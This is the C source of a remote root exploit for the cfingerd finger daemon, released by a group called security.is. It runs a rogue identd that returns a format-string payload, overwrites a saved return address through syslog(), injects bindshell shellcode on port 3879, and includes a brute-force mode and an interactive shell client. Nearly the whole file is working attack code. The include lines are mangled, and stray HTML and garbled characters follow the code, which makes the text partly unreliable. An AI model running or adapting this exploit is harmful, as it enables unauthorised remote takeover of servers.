/* 12345678901234567890123456789012345678901234567890123456789012345678901234567890 0 1 2 3 4 5 6 7 8 * Linux(x86) remote exploit for cfingerd, by * * - . . - * - - - * - - - - - - -- - - - - - - * - - - - - -- - - - - - - * - ---- - - - - - -- -- - - * - - - - - - - - - - - * - - - --- - - -- - . - - * * Vulnerability discovered by DiGiT. * Exploited co-operatively by security.is members. * * PRIVATE#$%!&*@ DO NOT DISTRIBUTE!!! * * The ideology behind this: * <:::>\r\n * * Think of our approach as four buffer simultaneously. * * 1) The response buffer to cfingerd's ident request, it is * padded with only the necessary bytes that normally are * "USERID : UNIX : ...". Its length is limited to 256 * bytes. * 2) The global heap buffer in cfingerd that contains the * user ID. It length can at maximum be * 256-strlen("USERID : UNIX...\r\n"), 251 in our case. * 3) The cannot-recall-its-name buffer that contains: * "root was fingered from <200 bytes of our evil buffer>" * syslog() is then incorrectly called with this buffer as * a format string. * 4) The internal processing buffer of syslog() (vfprintf). * There, our malign format string overwrites a saved %eip * register, and changes it to an address in the middle of * the nops in buffer #2. * * That is all there is to it, now HAVE FUN! :) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define ADDRESS_BUFFER_SIZE 78 #define APPEND_BUFFER_SIZE 40 #define REMOTE_BUFFER_SIZE 200 typedef struct { char *description; unsigned char *code; int type; } shellcodes_t; typedef struct { char *name; unsigned long egg_address; unsigned long eip_address; int alignment; int padding; } platforms_t; struct identd_t { unsigned int port; int sock; } identd; struct bruteforce_t { int enabled; int step; unsigned long start; unsigned long stop; } brute_force; struct target_t { char evil_buffer[512]; char *name; char *request_user; struct in_addr in; int sock; int bindshell_sock; unsigned int port; unsigned int platform_number; unsigned int shellcode_number; platforms_t *platform; shellcodes_t *shellcode; unsigned long *eip_address; } target; shellcodes_t shellcodes[] = { { "Linux(x86) JMP -1 (infinite loop), for testing purposes", "\xeb\xfe", -1 }, { "Linux(x86) bindshell on port 3879", "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh", 3879 }, { NULL, NULL, 0 } }; platforms_t platforms[] = { { "Kleenux v6.66", 0x0804dead, /* the exact beginning of the global ident buffer */ 0xbfffc0de, 3, 40 /* dividable with 4 */ }, { NULL, 0L, 0L, 0, 0 } }; static char ident_buffer[] = ":::"; /* XXX: More required? */ static char prepend_buffer[ADDRESS_BUFFER_SIZE+1]; static char append_buffer[APPEND_BUFFER_SIZE+1]; static char pad_buffer[128]; static char shellcode_buffer[256]; void clean_exit(void) { if (identd.sock > 0) close (identd.sock); if (target.sock > 0) close (target.sock); if (target.bindshell_sock > 0) close (target.bindshell_sock); exit (0); } void signal_handler(int number) { printf (" [x] Received signal %d, shutting down...\n", number); clean_exit(); } void resolve_hostname(void) { struct hostent *he; if ( (inet_aton (target.name, &target.in)) == 0) { if ( (he = gethostbyname (target.name)) == NULL) { printf (" [-] Unable to resolve %s.\n", target.name); exit (-1); } memcpy (&(target.in), he->h_addr, he->h_length); printf (" [+] Resolved %s to %s.\n", target.name, inet_ntoa(target.in)); } return; } /* XXX: FIX THIS! */ void bind_identd(void) { struct sockaddr_in sin; int opt = 0; /* XXX */ struct { int a,b; } ling = { 1, 2 }; /* XXXXXXX... */ sin.sin_family = PF_INET; sin.sin_port = htons (identd.port); sin.sin_addr.s_addr = INADDR_ANY; memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero)); if ( (identd.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { printf (" [-] No socket available for assignment.\n"); exit (-1); } if ( (setsockopt(identd.sock, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(opt))) ) { close (identd.sock); printf (" [-] Unable to set reusage of the identd socket.\n"); exit (-1); } if ( (setsockopt(identd.sock, SOL_SOCKET, SO_LINGER, (void *)&ling, sizeof(ling))) ) { close (identd.sock); printf (" [-] Unable to enable SO_LINGER.\n"); exit (-1); } if ( (bind (identd.sock, (struct sockaddr *)&sin, sizeof(sin))) < 0) { close (identd.sock); printf (" [-] It seems that port %d is already bound.\n" " Shame on you.\n", identd.port); exit (-1); } if ( (listen (identd.sock, 100)) < 0) { close (identd.sock); printf (" [-] Failed to listen() to port %d.\n", identd.port); exit (-1); } printf (" [+] Successfully bound to port %d and awaiting connections.\n", identd.port); return; } void connect_to_cfingerd(void) { struct sockaddr_in sin; if ( (target.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { printf (" [-] No socket available for finger.\n"); clean_exit(); } sin.sin_family = PF_INET; sin.sin_port = htons (target.port); sin.sin_addr.s_addr = target.in.s_addr; memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero)); if ( (connect (target.sock, (struct sockaddr *)&sin, sizeof (sin))) < 0) { printf (" [-] Unable to connect to %s:%d.\n", target.name, target.port); clean_exit(); } return; } void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (prepend_buffer, '\0', sizeof(prepend_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) strcat (append_buffer, "%n"); else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "security.is!"); copied += (num[i] - copied); strcat (append_buffer, "%n"); } else { sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); /* a dummy */ } } else { tmp = ((num[i] + 0xff) - copied); sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0xff) - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); /* another dummy */ } sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen (prepend_buffer) < ADDRESS_BUFFER_SIZE) strcat (prepend_buffer, "X"); while (strlen (append_buffer) < APPEND_BUFFER_SIZE) strcat (append_buffer, "\x90"); #ifdef DEBUG printf ("\nGeneration complete:\nPrepend: "); for (i = 0; i < strlen (prepend_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)prepend_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); #endif return; } void construct_buffer(void) { int written_bytes = ADDRESS_BUFFER_SIZE; int nop_count = 0; unsigned long ret = 0L; memset (pad_buffer, '\0', sizeof(pad_buffer)); memset (shellcode_buffer, '\0', sizeof(shellcode_buffer)); /* STEP 1: Create the appropriate padding buffer. */ /* XXX: Is 8-byte padding a necessity? */ written_bytes += 19; /* XXX: strlen("root fingered from ..") */ /* XXX: written_bytes += 47; ? (internal syslog() things) */ while (target.platform->padding > 4) { strcat (pad_buffer, "%c"); target.platform->padding -= 4; written_bytes++; } /* STEP 2: Form the address and shellcode buffers. */ // nop_count = strlen (ident_buffer); // necessary? nop_count = ADDRESS_BUFFER_SIZE; nop_count += strlen (pad_buffer); nop_count += APPEND_BUFFER_SIZE; nop_count += strlen (target.shellcode->code); nop_count = REMOTE_BUFFER_SIZE - nop_count; ret = target.platform->egg_address; ret += ADDRESS_BUFFER_SIZE; ret += strlen (pad_buffer); ret += APPEND_BUFFER_SIZE; ret += (int)(nop_count / 2); (void)calculate_rets (target.platform->eip_address, ret, written_bytes); /* STEP 3: Assemble our evil buffer. */ memset (shellcode_buffer, '\x90', nop_count); strcat (shellcode_buffer, target.shellcode->code); sprintf (target.evil_buffer, "%s%.*s%s%s%s%s\r\n", ident_buffer, target.platform->alignment, "BLAH", prepend_buffer, pad_buffer, append_buffer, shellcode_buffer); if (strlen (target.evil_buffer) > REMOTE_BUFFER_SIZE) { printf (" [-] Our evil buffer has exceeded its limit (%d vs. %d)\n", strlen (target.evil_buffer), REMOTE_BUFFER_SIZE); return; /* unwise? */ } return; } void serve_ident_request(void) { char buf[512+1]; struct timeval tv; struct in_addr client_in; /* XXX */ fd_set fds; int sock = -1; int i = 0; while (1) { i = 0; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO (&fds); FD_SET (identd.sock, &fds); i = select (identd.sock + 1, &fds, NULL, NULL, &tv); if (i <= 0) { printf (" [-] Oops, no connection was made to our identd.\n"); return; } /* XXX: sock = accept() ... */ if (!memcmp (&target.in, &client_in, sizeof(client_in))) break; printf (" [-] Ignored an identd connection from %s!\n", inet_ntoa(client_in)); /* XXX */ close (sock); } i = 0; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO (&fds); FD_SET (sock, &fds); i = select (sock + 1, &fds, NULL, NULL, &tv); if (i <= 0) { printf (" [-] No data was available from the identd connection.\n"); return; } if ( (read (sock, buf, sizeof(buf)-1)) <= 0) { printf (" [-] read() failed from the new connection.\n"); return; } /* XXX: Assert that inetd is used, and output a fake reply? */ write (sock, target.evil_buffer, strlen(target.evil_buffer)); return; } /* XXX: Fix things, add signal() for SIGINT ? */ void run_bindshell(int sock, int port) { char buf[512+1]; struct sockaddr_in sin; struct timeval tv; fd_set fds; int i = 0; if (sock == 0) { if ( (target.bindshell_sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) return; sin.sin_family = PF_INET; sin.sin_port = htons (port); sin.sin_addr.s_addr = target.in.s_addr; memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero)); if ( (connect (target.bindshell_sock, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0) { target.bindshell_sock = -1; close (target.bindshell_sock); return; } printf (" [+] Connection to %s:%d SUCCEEDED, bindshell initiated.\n", target.name, port); } else target.bindshell_sock = sock; write (target.bindshell_sock, "uname -a;id;\n", 13); while (1) { tv.tv_sec = 1; tv.tv_usec = 0; FD_ZERO (&fds); FD_SET (fileno (stdin), &fds); FD_SET (target.bindshell_sock, &fds); i = select ((target.bindshell_sock + 1), &fds, NULL, NULL, &tv); if (i == 0) continue; if (i < 0) { close (target.bindshell_sock); target.bindshell_sock = -1; printf (" [-] Bindshell terminated.\n"); return; } memset (buf, '\0', sizeof(buf)); if (FD_ISSET (fileno (stdin), &fds)) { if ( (read (fileno (stdin), buf, sizeof(buf)-1)) > 0) { if ( (write (target.bindshell_sock, buf, strlen(buf))) != strlen(buf)) { close (target.bindshell_sock); target.bindshell_sock = -1; printf (" [-] Bindshell terminated, unable to write.\n"); return; } } } memset (buf, '\0', sizeof(buf)); if (FD_ISSET (target.bindshell_sock, &fds)) { if ( (read (target.bindshell_sock, buf, sizeof(buf)-1)) <= 0) { close (target.bindshell_sock); target.bindshell_sock = -1; printf (" [-] Bindshell terminated, unable to read.\n"); return; } printf ("%s", buf); } } return; } void initialize(void) { identd.port = 113; identd.sock = -1; brute_force.enabled = 0; brute_force.start = 0L; brute_force.stop = 0L; brute_force.step = 0; target.name = NULL; target.port = 79; target.platform_number = -1; target.shellcode_number = -1; target.sock = -1; target.bindshell_sock = -1; target.eip_address = NULL; target.platform = NULL; target.shellcode = (shellcodes_t *)&shellcodes[1]; target.request_user = "root"; memset (&(target.evil_buffer), '\0', sizeof(target.evil_buffer)); memset (&(target.in), '\0', sizeof(target.in)); return; } void usage(char *program_name) { platforms_t *pt = &platforms[0]; shellcodes_t *st = &shellcodes[0]; int i = 0; printf ("Usage: %s <-t target> <-p platform> [other arguments]\n", program_name); printf (" -s: Specify an alternative shellcode.\n"); printf (" -I: A port for identd instead of 113.\n"); printf (" -F: Remote port for cfingerd instead of 79.\n"); printf (" -b: Use the Brute Force, Luke!\n"); printf (" -u: A user to finger on the remote host instead of root.\n"); printf ("\nSupported platforms:\n"); while (platforms[i].name != NULL) { pt = &platforms[i]; printf (" %d: %s\n", i++, pt->name); } i = 0; printf ("\nAvailable shellcodes:\n"); while (shellcodes[i].description != NULL) { st = &shellcodes[i]; printf (" %d: %s (%d bytes)\n", i++, st->description, strlen(st->code)); } exit (0); } int main(int argc, char **argv) { platforms_t *pt = &platforms[0]; shellcodes_t *st = &shellcodes[0]; int i, c; printf ("cfingerd remote exploit, brought to you by security.is\n"); printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"); if (getuid()) { printf (" Because the exploit utilizes port 113 (identd),\n"); printf (" it must be run with superuser privileges.\n"); exit (0); } (void)initialize(); while ( (c = getopt(argc, argv, "s:p:I:t:F:u:bh?")) != EOF) { switch (c) { case 'b': brute_force.enabled = 1; break; case 'p': target.platform_number = atoi(optarg); break; case 's': target.shellcode_number = atoi(optarg); break; case 'I': identd.port = atoi(optarg); break; case 'F': target.port = atoi(optarg); break; case 't': target.name = (char *)strdup(optarg); break; case 'u': target.request_user = (char *)strdup(optarg); break; default: printf (" [-] Unrecognized option: -%c.\n", c); /* fall through */ case 'h': case '?': usage (argv[0]); /* not reached */ } } if (target.name == NULL) { printf (" [-] No victim was specified.\n"); usage (argv[0]); } if (target.platform_number < 0) { printf (" [-] Missing argument for remote platform.\n"); usage (argv[0]); } for (i = 0; i < target.platform_number; i++) { pt = &platforms[i]; if (pt->name == NULL) { printf (" [-] Abnormal platform number.\n"); exit (-1); } } printf (" [+] Platform: %s.\n", pt->name); target.platform = pt; target.eip_address = (unsigned long *)&(target.platform->eip_address); if (target.shellcode_number >= 0) { for (i = 0; i < target.shellcode_number; i++) { st = &shellcodes[i]; if (st->description == NULL) { printf (" [-] Abnormal shellcode number.\n"); exit (-1); } } target.shellcode = st; } printf (" [+] Shellcode: %s.\n", target.shellcode->description); if (identd.port != 113) printf (" [+] Identd port set to %d.\n", identd.port); (void)resolve_hostname(); if (brute_force.enabled == 1) { printf (" [:] Enter \"start stop step\" for brute force.\n"); printf (" (e.g. 0xbfff1214 0xbfff12a0 4)\n"); while ( (fscanf (stdin, "%lx %lx %u", &(brute_force.start), &(brute_force.stop), &(brute_force.step))) != 3) printf (" [-] The arguments were incorrectly specified.\n"); if ( (((unsigned long)(brute_force.start) >> 16) != 0xbfff) || (((unsigned long)(brute_force.stop) >> 16) != 0xbfff) ) printf (" [!] Warning! On Linuces, the %%eip register is saved " "on the stack, 0xbfff....!\n"); if (brute_force.step % 4) printf (" [!] Warning! It is highly recommended having the step " "dividable with 4.\n"); target.platform->eip_address = brute_force.start; } signal (SIGHUP, signal_handler); signal (SIGINT, signal_handler); signal (SIGTERM, signal_handler); signal (SIGQUIT, signal_handler); (void)bind_identd(); while (1) { printf (" [+] Using %%eip address: %#lx.\n", *target.eip_address); for (c = 0, i = 0; i < 4; i++) { if ((((u_long)(*target.eip_address + i) & 0xff) == 0x00) || ((((u_long)(*target.eip_address + i) >> 8) & 0xff) == 0x00) || ((((u_long)(*target.eip_address + i) >> 16) & 0xff) == 0x00) || ((((u_long)(*target.eip_address + i) >> 24) & 0xff) == 0x00) ) c++; } if (c) printf (" [!] Warning! The buffer will include NULL bytes. (%d/4)\n", c); (void)construct_buffer(); (void)connect_to_cfingerd(); (void)serve_ident_request(); /* inetd */ write (target.sock, target.request_user, strlen (target.request_user)); write (target.sock, "\n", 1); (void)serve_ident_request(); /* cfingerd */ switch (target.shellcode->type) { case -1: close (target.sock); target.sock = -1; break; case 0: /* dup2 bindshell */ run_bindshell (target.sock, 0); break; default: /* bindshell on another port */ close (target.sock); target.sock = -1; run_bindshell (0, target.shellcode->type); break; } if (brute_force.enabled == 1) { *target.eip_address += brute_force.step; if (*target.eip_address >= brute_force.stop) break; } else break; } printf (" [-] The exploit has been discontinued.\n"); clean_exit(); return (0); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß